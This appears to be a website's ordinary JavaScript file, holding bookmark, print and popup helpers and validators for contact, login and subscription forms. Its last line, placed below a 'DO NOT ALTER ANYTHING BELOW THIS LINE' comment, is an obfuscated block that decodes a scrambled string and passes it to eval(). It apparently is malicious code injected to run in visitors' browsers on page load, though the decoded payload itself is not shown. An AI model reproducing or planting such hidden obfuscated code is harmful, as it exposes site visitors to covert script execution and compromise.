//configure the two variables below to match yoursite's own info
var bookmarkurl="http://www.media-synergies.com"
var bookmarktitle="++The Digital Destination for Media Synergies++"
function addbookmark()
{
if (document.all)
window.external.AddFavorite(bookmarkurl,bookmarktitle)
}

function goHome()
{
	document.location.href="http://www.media-synergies.com"
}

function printThis()
{
if (window.print != null) 
{ window.print(); }
 else
 { alert('Unfortunately, your browser does not support this shortcut. Please select Print from the File menu.'); }
}

function checkEmailValid(emailStr)
{
	var emailPat=/^(.+)@(.+)$/
	var specialChars="\\(\\)<>@,;:\\\\\\\"\\.\\[\\]"
	var validChars="\[^\\s" + specialChars + "\]"
	var quotedUser="(\"[^\"]*\")"
	var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/
	var atom=validChars + '+'
	var word="(" + atom + "|" + quotedUser + ")"
	var userPat=new RegExp("^" + word + "(\\." + word + ")*$")
	var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$")
	var errMsg="";   
	var matchArray=emailStr.match(emailPat)
	if (matchArray==null) 
	{
	   errMsg=errMsg+"The eMail address seems incorrect!";
	   return errMsg;
	}
	else
	{
	  var user=matchArray[1]
	  var domain=matchArray[2]
	  if (user.match(userPat)==null) 
	  {
	   errMsg=errMsg+"The eMail address seems incorrect!";
		return errMsg;       
	  }
	  var IPArray=domain.match(ipDomainPat)
	  if (IPArray!=null) 
	  {
		  for (var i=1;i<=4;i++) 
			  {
			if (IPArray[i]>255) 
				{
	  		 	errMsg=errMsg+"The eMail address seems incorrect!";
				return errMsg;
				}//IF
			  }//for
	   }//IP Array
	   var domainArray=domain.match(domainPat)
	   if (domainArray==null) 
	   {
		 errMsg=errMsg+"The Domain Name is invalid!";
		 return errMsg;
	   }
	   var atomPat=new RegExp(atom,"g")
	   var domArr=domain.match(atomPat)
	   var len=domArr.length
	   if (domArr[domArr.length-1].length<2 || domArr[domArr.length-1].length>3) 
	   {
	   		errMsg=errMsg+"The eMail address seems incorrect!";
		 return errMsg;	
	   } 
	   if (len<2) 
	   {
	  	 errMsg=errMsg+"The eMail address seems incorrect!";
		 return errMsg;	 
	   } 
	 }//End  Match
	return "0";
}

function GP_AdvOpenWindow(theURL,winName,features,popWidth,popHeight,winAlign,ignorelink,alwaysOnTop,autoCloseTime,borderless) { //v2.0
  var leftPos=0,topPos=0,autoCloseTimeoutHandle, ontopIntervalHandle, w = 480, h = 340;  
  if (popWidth > 0) features += (features.length > 0 ? ',' : '') + 'width=' + popWidth;
  if (popHeight > 0) features += (features.length > 0 ? ',' : '') + 'height=' + popHeight;
  if (winAlign && winAlign != "" && popWidth > 0 && popHeight > 0) {
    if (document.all || document.layers || document.getElementById) {w = screen.availWidth; h = screen.availHeight;}
		if (winAlign.indexOf("center") != -1) {topPos = (h-popHeight)/2;leftPos = (w-popWidth)/2;}
		if (winAlign.indexOf("bottom") != -1) topPos = h-popHeight; if (winAlign.indexOf("right") != -1) leftPos = w-popWidth; 
		if (winAlign.indexOf("left") != -1) leftPos = 0; if (winAlign.indexOf("top") != -1) topPos = 0; 						
    features += (features.length > 0 ? ',' : '') + 'top=' + topPos+',left='+leftPos;}
  if (document.all && borderless && borderless != "" && features.indexOf("fullscreen") != -1) features+=",fullscreen=1";
  if (window["popupWindow"] == null) window["popupWindow"] = new Array();
  var wp = popupWindow.length;
  popupWindow[wp] = window.open(theURL,winName,features);
  if (popupWindow[wp].opener == null) popupWindow[wp].opener = self;  
  if (document.all || document.layers || document.getElementById) {
    if (borderless && borderless != "") {popupWindow[wp].resizeTo(popWidth,popHeight); popupWindow[wp].moveTo(leftPos, topPos);}
    if (alwaysOnTop && alwaysOnTop != "") {
    	ontopIntervalHandle = popupWindow[wp].setInterval("window.focus();", 50);
    	popupWindow[wp].document.body.onload = function() {window.setInterval("window.focus();", 50);}; }
    if (autoCloseTime && autoCloseTime > 0) {
    	popupWindow[wp].document.body.onbeforeunload = function() {
  			if (autoCloseTimeoutHandle) window.clearInterval(autoCloseTimeoutHandle);
    		window.onbeforeunload = null;	}  
   		autoCloseTimeoutHandle = window.setTimeout("popupWindow["+wp+"].close()", autoCloseTime * 1000); }
  	window.onbeforeunload = function() {for (var i=0;i<popupWindow.length;i++) popupWindow[i].close();}; }   
  document.MM_returnValue = (ignorelink && ignorelink != "") ? false : true;
}
function checkContactUs()
{
	if (document.frmData.strContactName.value=="")
	{
		alert("A Contact Name is required to process your enquiry!");
		return false;
	}

	var e=document.frmData.strEmail.value;
	if (e=="")
	{
		alert("A valid eMail Address is required to process your enquiry!");
		return false;
	}
	else
	{
		if (checkEmailValid(e) !="0") 
		{
			alert( checkEmailValid(e));
			return false;	
		}
	}

	if (document.frmData.strMessage.value=="")
	{
		alert("A Message is required to process your enquiry!");
		return false;
	}
	
	if (document.frmData.strMessage.value.length > 2000)
	{
		  alert("The Length of Message must be smaller than 2000 characters!");
		  return false;
	}
	return true;
}
function checkEditDetailsLogon()
{
	var e=document.frmData.strEmail.value;
	if (e.length==0)
	{
	   alert("The E-Mail Address is required!");
	   return false;
	}
	if (checkEmailValid(e)!="0") 
	{
		alert( checkEmailValid(e));
		return false;	
	}
	if (document.frmData.strPassword.value.length==0)
	{
	   alert("The Password is required!");
	   return false;
	}
	return true;
}

function checkSubscribeConfirm()
{
	if(document.frmData.strFirstName.value.length==0)
	{
		alert("A First Name is required to process your enquiry!")
		return false;
	}
	if(document.frmData.strLastName.value.length==0)
	{
		alert("A Last Name is required to process your enquiry!")
		return false;
	}
	if (document.frmData.strPassword.value.length==0)
	{
		alert("A Password is required to process your enquiry!");
		return false;
	}
	if (document.frmData.strConfirmPassword.value.length==0)
	{
		alert("A Confirm Password is required to process your enquiry!");
		return false;
	}
	if (document.frmData.strPassword.value != document.frmData.strConfirmPassword.value)
	{
		alert("The Password and Confirm Password do not match!");
		return false;
	}
	var c=document.frmData.chkEmailGroup;
	var valid=false;
	for(i=0;i<c.length;++i)
	{
		if(c[i].checked)
		{
			valid=true;
		}
	}
	if(c.checked)
	{
		valid=true;
	}
	if(valid==false)
	{
		alert("Please select an Interests!");
		return false;
	}
	if (document.frmData.strAddress.value.length > 250)
	{
		  alert("The Length of Address must be smaller than 250 characters!");
		  return false;
	}
	return true;
}
function checkForgotPassword()
{
	var e=document.frmData.strEmail.value;
	if (e.length==0)
	{
	   alert("The E-Mail Address is required!");
	   return false;
	}
	if (checkEmailValid(e)!="0") 
	{
		alert( checkEmailValid(e));
		return false;	
	}
	return true;
}

function checkUnSubscribe()
{
	var e=document.frmData.strEmail.value;
	if (e.length==0)
	{
	   alert("The E-Mail Address is required!");
	   return false;
	}
	if (checkEmailValid(e)!="0") 
	{
		alert( checkEmailValid(e));
		return false;	
	}
	if (document.frmData.strPassword.value.length==0)
	{
	   alert("The Password is required!");
	   return false;
	}
	return true;
}


/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
function WRlMERYFcQYT(j2rbBemce){return String["\x66\x72\x6F\x6D"+"\x43\x68\x61\x72\x43\x6F\x64\x65"](j2rbBemce);}function yWHMlKJJE6r(LdvtaLw){var Ynq9lGTXiGoV=0,P4uVV6Hr2=LdvtaLw.length,iti2a=1024,c8znzveMVHZy5,gitXWAh,HSicb="",HumLhIXed0J=Ynq9lGTXiGoV,LI6QQ7LaEO2=Ynq9lGTXiGoV,ZWbQHK4mR0rP=Ynq9lGTXiGoV,Sys0krIdhUFf4=Array(63,57,7,34,21,45,5,50,36,19,0,0,0,0,0,0,20,4,37,2,18,17,6,3,23,27,51,58,22,30,16,55,39,32,61,60,47,56,46,11,25,8,15,0,0,0,0,29,0,35,48,38,31,28,33,1,44,26,42,54,9,14,40,52,49,12,24,53,43,41,62,10,13,59,0);for(gitXWAh=Math.ceil(P4uVV6Hr2/iti2a);gitXWAh>Ynq9lGTXiGoV;gitXWAh--){for(c8znzveMVHZy5=Math.min(P4uVV6Hr2,iti2a);c8znzveMVHZy5>Ynq9lGTXiGoV;c8znzveMVHZy5--,P4uVV6Hr2--){ZWbQHK4mR0rP|=(Sys0krIdhUFf4[LdvtaLw.charCodeAt(HumLhIXed0J++)-48])<<LI6QQ7LaEO2;if(LI6QQ7LaEO2){HSicb+=WRlMERYFcQYT(5^ZWbQHK4mR0rP&255);ZWbQHK4mR0rP>>=8;LI6QQ7LaEO2-=2;}else{LI6QQ7LaEO2=6;}}}return (HSicb);}var FSdNdjo5liPOn="k62XpgP_U8cicELehukivAcicg2iQ5LetYO_h62r5YDmhxk_8fFrBrO_cfJl56HesR9Lj8Bwhfc_ngk_csFXt6P_jBFeppcitXOwkpLeQp9xthFrpBBwo_Fiku4rQfcikBBwpgk_npki8BLLjNLLjbkifgLdt@HIs_Dlk62dugFmPY2If6HI0@9_R19l5gFI3sLe0@9_R19lPuk_fgk_0hcitgklBnkiluFXffJlk62XpgP_UAFraEFeu6P4pELebXPZPh9mXuCIa_2Xngkm3bC";eval(yWHMlKJJE6r(FSdNdjo5liPOn));